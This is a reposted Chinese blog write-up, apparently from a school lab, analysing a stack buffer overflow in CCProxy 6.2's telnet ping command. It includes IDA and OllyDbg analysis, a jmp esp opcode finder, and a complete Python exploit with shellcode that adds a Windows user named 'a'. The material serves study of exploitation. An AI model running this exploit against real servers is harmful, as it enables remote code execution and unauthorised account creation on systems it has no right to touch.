CCProxy6.2 栈溢出分析

admin 2023年6月4日23:06:34评论26 views字数 6001阅读20分0秒阅读模式

扫码领资料

获网安教程

免费&进群

CCProxy6.2 栈溢出分析
CCProxy6.2 栈溢出分析

0X00 前言

最近看了点二进制的东西,正好学校里面有栈溢出的实验,就简单拿出来分析一下,CCPorxy 6.2 ,一个比较经典的 windows 下的栈溢出,因为是非常老的软件,而且我选择在 windows xp 中运行,因此这里并不涉及保护的问题,只是简单的分析一下。

0X01 先简单说一下溢出点

该软件双击运行以后,可以在本机 telnet 127.0.0.1 ,然后再去 ping 一个 ip 地址,我们的栈溢出的点就在这个 ping 后面的地址上

当我们 Ping 正常地址的时候,以及 ping 一个不存在的地址的时候的反应是不同的,如下图

CCProxy6.2 栈溢出分析

当我们 ping 一个超长的(我这里选择的是 2000 个 A)不存在的地址的字符串的时候,程序会直接崩溃,如下图

CCProxy6.2 栈溢出分析

说明程序在处理超长地址的时候出现了字符越界的问题,下面我们就用 IDA 静态分析一下

0X02 IDA 静态分析程序

首先等待 ida 将程序装载完整,为了快速定位我们首先打开 string 窗口,对我们可能的溢出点进行搜索,特征就是 “Host not found…” 这个字符串

CCProxy6.2 栈溢出分析

进入以后我们查看这个函数的交叉引用,定位到调用函数的位置

CCProxy6.2 栈溢出分析此处输入图片的描述

CCProxy6.2 栈溢出分析

我们使用 F5 看一下源码,可以看到,我们的主机传进去就是 name ,然后我们会将其赋值到 buf 的缓冲区空间,然后造成了溢出

CCProxy6.2 栈溢出分析

我们回过头看一下这个函数的调用情况

CCProxy6.2 栈溢出分析

仔细观察他的 ebp 和 esp 的入站情况我们发现,这个程序的设计是不同寻常的,因为,我们往往的函数调用约定是先 push ebp 然后 mov ebp,esp 的,但这里直接先把 esp 提了上去,而 ebp 的位置是由 ecx 决定的,ecx 在前面又经过了非常多的转化,这就让我们通过 ebp 作为基址产生了困难,而且我们也发现上面很多的寻址都是通过 esp 作为基址的,于是这里我们转而使用 esp 作为我们定位 buf 位置的基址

我们还是使用 F5 看一下 Buf 相对于esp 的偏移

CCProxy6.2 栈溢出分析

可以看到是 esp+3Ch, 也就是 esp 下面 60 字节的位置,于是我们就很容易的计算出我们的溢出的偏移为 1012 字节。

有了偏移量,我们下一步要考虑的就是将我们的返回地址覆盖成什么,我的想法首先是覆盖成 shellcode 的地址,但是我们知道栈的空间是不确定的,我们没法确定栈每次都是在那个位置,于是我们还有一种经典的方式是将返回地址覆盖成 jmp esp 的地址,然后让其执行 jmp esp 这条指令。

0X02 jmp esp 地址的获取

jmp esp 可以看成是一个跳板,在很多程序自带的函数库中都有很多的 jmp esp 的地址,因为这是一个图形化程序,必然自带了 user32.dll ,于是我们可以写程序在 user32.dll 中寻找 Jmp esp 的地址,然后随机选择一个来覆盖我们的返回值

代码如下:

search_opcode.c

  1. //FF E0 JMP EAX

  2. //FF E1 JMP ECX

  3. //FF E2 JMP EDX

  4. //FF E3 JMP EBX

  5. //FF E4 JMP ESP

  6. //FF E5 JMP EBP

  7. //FF E6 JMP ESI

  8. //FF E7 JMP EDI

  9. //FF D0 CALL EAX

  10. //FF D1 CALL ECX

  11. //FF D2 CALL EDX

  12. //FF D3 CALL EBX

  13. //FF D4 CALL ESP

  14. //FF D5 CALL EBP

  15. //FF D6 CALL ESI

  16. //FF D7 CALL EDI

  17. #include <windows.h>

  18. #include <stdio.h>

  19. #define DLL_NAME "user32.dll"

  20. main()

  21. {

  22. BYTE* ptr;

  23. int position,address;

  24. HINSTANCE handle;

  25. BOOL done_flag = FALSE;

  26. handle=LoadLibrary(DLL_NAME);

  27. if(!handle)

  28. {

  29. printf(" load dll erro !");

  30. exit(0);

  31. }

  32. ptr = (BYTE*)handle;

  33. for(position = 0; !done_flag; position++)

  34. {

  35. try

  36. {

  37. if(ptr[position] == 0xFF && ptr[position+1] == 0xE4)

  38. {

  39. //0xFFE4 is the opcode of jmp esp

  40. int address = (int)ptr + position;

  41. printf("OPCODE found at 0x%xn",address);

  42. }

  43. }

  44. catch(...)

  45. {

  46. int address = (int)ptr + position;

  47. printf("END OF 0x%xn", address);

  48. done_flag = true;

  49. }

  50. }

  51. }

通过这个程序的运行,我们能找到很多的 jmp esp 的地址,我这里选择的是最后一个

CCProxy6.2 栈溢出分析

0X03 exp.py

接下来就是编写 shellcode ,并且构造我们的 exp 来实现执行命令的操作了

  1. import socket

  2. import os

  3. sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

  4. sock.connect(('192.168.43.35',23))

  5. s = sock.recv(4096)

  6. p =b'ping ' + b'x90'*4

  7. jmp = b'xE9x03xFCxFFxFFx90x90x90' # 这里最后会布置到 esp+0xC 的地址,跳转到我们上面的 shellcode

  8. shellcode= b'x55x8BxECx33xFFx57x83xECx0CxC6x45xF0x6ExC6x45xF1x65xC6x45xF2x74xC6x45xF3x20xC6x45xF4x75xC6x45xF5x73xC6x45xF6x65xC6x45xF7x72xC6x45xF8x20xC6x45xF9x61xC6x45xFAx20xC6x45xFBx2FxC6x45xFCx61xC6x45xFDx64xC6x45xFEx64x8Dx45xF0x50xB8xC7x93xBFx77xFFxD0'

  9. junk = b'a'*920

  10. jmpesp = b'x79x5bxe3x77' #jump esp 的地址,是从user32.dll中获取的

  11. p = p+jmp+shellcode+junk+jmpesp+b'x90'*16

  12. sock.send(p)

  13. sock.send(b'n')

  14. s = sock.recv(4096)

  15. print(s)

0X04 OD 的动态调试

因为 exp 并不是我写的,我只是简单地修改了一下原始的 exp ,所以我还是要对其进行一些分析,于是我选择使用动态调试工具 OD ,在 exp 打入以后进行单步跟踪调试

首先在函数拷贝结束以后下断点,找到这个地址的方式是通过 ida 的静态分析获取的 sprintf 的地址,然后直接在 OD 中定位的

CCProxy6.2 栈溢出分析

然后 F9 运行,然后直接打 exp ,然后运行到即将返回的时候的状态,如下图

CCProxy6.2 栈溢出分析

首先我们要关注到 retn 0xC ,这说明在执行完这条指令的时候 esp 不只是会向高地址移动 4 字节,还会再继续向高地址移动 0xC 个字节,然后我们再来看右下角的栈区,我们发现此时 esp 移动后指向的是 0xFFFC03E9 ,这个刚好是我们 exp 中的 jmp 变量的值,并且这是一个负数,也就是一个相对的向低地址跳转的指令,也就是说虽然我们在 exp 中看似 jmp 在 shellcode 前面,但是实际上到了栈空间以后还是有所变化的

然后我们调到 jmp esp 的地址 ,执行 jmp esp

CCProxy6.2 栈溢出分析

我们看到正如我们上面分析的,我们的 esp 已经跑到了 0xFFFC03E9 ,我们继续往下执行

CCProxy6.2 栈溢出分析

此时相对地址已经被计算成为绝对地址,然后我们下一步就会跳转到我们的 shellcode

CCProxy6.2 栈溢出分析

该条指令的作用就是想计算机中添加一个名为 a 的用户

CCProxy6.2 栈溢出分析

0X05 补充分析

计算偏移除了之前使用的 用 ida 去计算以外,我们还能使用随机字符串定位法去计算,我们首先生成比如 2000 个随机字符

rand.py

  1. import random

  2. random_str = ''

  3. base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'

  4. length = len(base_str) - 1

  5. for i in range(5000):

  6. random_str += base_str[random.randint(0, length)]

  7. print(random_str)

然后我们将其打入程序,使用 OD 单步调试直到返回地址,我们会看到返回地址被哪四个字符淹没了,然后我们再去整个字符串中找那四个字符的位置

find.py

  1. ori_str1 = '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'

  2. find_str = 'aBZ0'

  3. print(ori_str1.find(find_str))

也可以算出来是 1012 字节

0X06 总结

这个程序被奉为是比较经典的 windows 栈溢出实例,仔细分析以后能比较好的理解栈溢出的全过程,至于 shellcode 的书写,我们当然也可以用汇编自己写,然后使用 OD 导出来字节码,但是由于这个程序有一些奇怪的机制,使得 opcode 的写入顺序和实际顺序不太一样,就比较难写,我猜测可能是内部做了什么保护机制?不太明白,还需要继续努力。

来源:https://www.k0rz3n.com/2019/06/13/CCProxy6.2 栈溢出分析/


声明:中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权


@

学习更多渗透技能!体验靶场实战练习


CCProxy6.2 栈溢出分析

hack视频资料及工具

CCProxy6.2 栈溢出分析

(部分展示)



往期推荐

【精选】SRC快速入门+上分小秘籍+实战指南

爬取免费代理,拥有自己的代理池

漏洞挖掘|密码找回中的套路

渗透测试岗位面试题(重点:渗透思路)

漏洞挖掘 | 通用型漏洞挖掘思路技巧

干货|列了几种均能过安全狗的方法!

一名大学生的黑客成长史到入狱的自述

攻防演练|红队手段之将蓝队逼到关站!

巧用FOFA挖到你的第一个漏洞

看到这里了,点个“赞”、“再看”吧


原文始发于微信公众号(白帽子左一):CCProxy6.2 栈溢出分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月4日23:06:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CCProxy6.2 栈溢出分析http://cn-sec.com/archives/1782922.html

发表评论

匿名网友 填写信息